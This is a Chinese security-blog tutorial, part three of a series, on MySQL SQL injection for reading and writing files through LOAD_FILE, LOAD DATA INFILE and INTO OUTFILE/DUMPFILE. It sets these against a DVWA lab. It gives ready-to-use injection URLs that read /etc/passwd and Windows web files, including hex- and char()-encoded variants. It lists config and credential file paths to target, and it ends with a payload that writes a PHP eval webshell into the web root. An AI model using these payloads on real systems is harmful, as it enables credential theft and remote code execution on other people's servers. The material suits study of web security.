WEB安全之:Mysql 数据库 SQL 注入(三)

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

4 secure_file_priv :文件读写操作

  • 新版浏览器可能需要查看页面源码才可以看到完整文件信息

原理

  • Mysql 新特性 secure_file_priv 用来限制 LOAD DATA, SELECT … OUTFILE, and LOAD_FILE() 传到哪个指定目录的。

  • secure_file_priv 参数的值不能动态更改,只能在 Mysql 的配置文件中修改,重启生效。

    • NULL :默认,表示限制 Mysql 不允许导入导出。
    • /dir/ :表示限制 Mysql 的导入|导出只能发生在 /dir/ 目录下
    • 空值:表示不限制 Mysql 的导入|导出
  • 可以通过命令查看这个属性

    • select @@secure_file_priv
  • 若 Mysql + PHP 架构,PHP 配置文件 php.ini 中的 gpc 参数也会影响写入文件 :

    • gpc 开启:特殊字符都会被转义,如:' 转义为 \',此时需要对输入做转义

4.1 LOAD_FILE() 读文件

Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。

使用条件:

  1. 必须有权限读取并且文件必须完全可读

    • and (select count(*) from mysql.user)>0 :
      • 如果结果返回正常,说明具有读写权限。
      • 返回错误,应该是管理员给数据库帐户降权
  2. 预读取文件必须在服务器上

  3. 必须指定文件完整的路径

  4. 预读取文件必须小于 max_allowed_packet

# linux:
# 方式一
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1 'union select null,load_file('/etc/passwd')-- &Submit=Submit#
# 方式二,对 /etc/passwd 进行16进制编码
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1 'union select null,load_file(0x2f6574632f706173737764)-- &Submit=Submit#
# 方式三
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1 'union select null,load_file((char(47,101,116,99,47,112,97,115,115,119,100)))-- &Submit=Submit#

# windows:
# 方式一
?id=-1 union select null,null,load_file('C:\\inetpub\\wwwroot\\lab.com\\index.php')
# 方式二
?id=-1 union select null,null,load_file('C:/inetpub/wwwroot/lab.com/index.php')
# 方式三:对 C:/inetpub/wwwroot/lab.com/index.php 进行16进制编码
?id=-1 union select null,null,load_file(0x433a2f696e65747075622f777777726f6f742f6c61622e636f6d2f696e6465782e706870)

4.1.1 系统常用目录文件

  • Linux 下
    • load_file(char(47)) #可以列出 FreeBSD, Sunos 系统根目录
# apache配置文件
/etc/httpd/conf/httpd.conf 
# apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf

# 虚拟网站设置
/usr/local/apache2/conf/extra/httpd-vhosts.conf 

# PHP相关设置
/usr/local/php5/lib/php.ini 

# 从中得到防火墙规则策略
/etc/sysconfig/iptables 

# mysql的配置文件
/etc/my.cnf 

# 系统版本
/etc/redhat-release 
  • Windows 下
# php配置信息
C:\Windows\php.ini 

# MYSQL 配置文件,记录管理员登陆过的 MYSQL 用户名和密码
C:\Program Files\mysql\my.ini

# 查看IIS的虚拟主机配置
C:\WINDOWS\system32\inetsrv\MetaBase.xml 

# 查看Windows系统Apache配置文件
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\apache\conf\httpd.conf 
D:\APACHE\Apache2\conf\httpd.conf

4.2 LOAD DATA INFILE 导入文件内容到数据库

LOAD DATA INFILE 语句用于从文本文件中读取行,并装入数据库一个表中。

利用方式

  • 注入过程中,当你拥有数据库的权限时,可以将关键系统文件(配置文件,密码文件等)利用 load data infile 导入到数据库中。
LOAD DATA INFILE '/tmp/text.txt' INTO TABLE test.tb1 FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '\"' ESCAPED BY '#' LINES TERMINATED BY '\n'

4.3 into outfile/dumpfile 写入文件

  • into outfile :将查询数据输出保存到一个文件中,数据之前存在 tab 空格。
  • into dumpfile :将查询数据输出保存到一个文件中,没有空格。
http://lab.com/article.php?id=-1 union select 1,'<?php phpinfo();eval($_POST[\'cmd\']);?>',3 into dumpfile 'C:\\inetpub\\wwwroot\\lab.com\\webshell.php'
posted @ 2021-06-01 08:49  f_carey  阅读(21)  评论(0编辑  收藏  举报  来源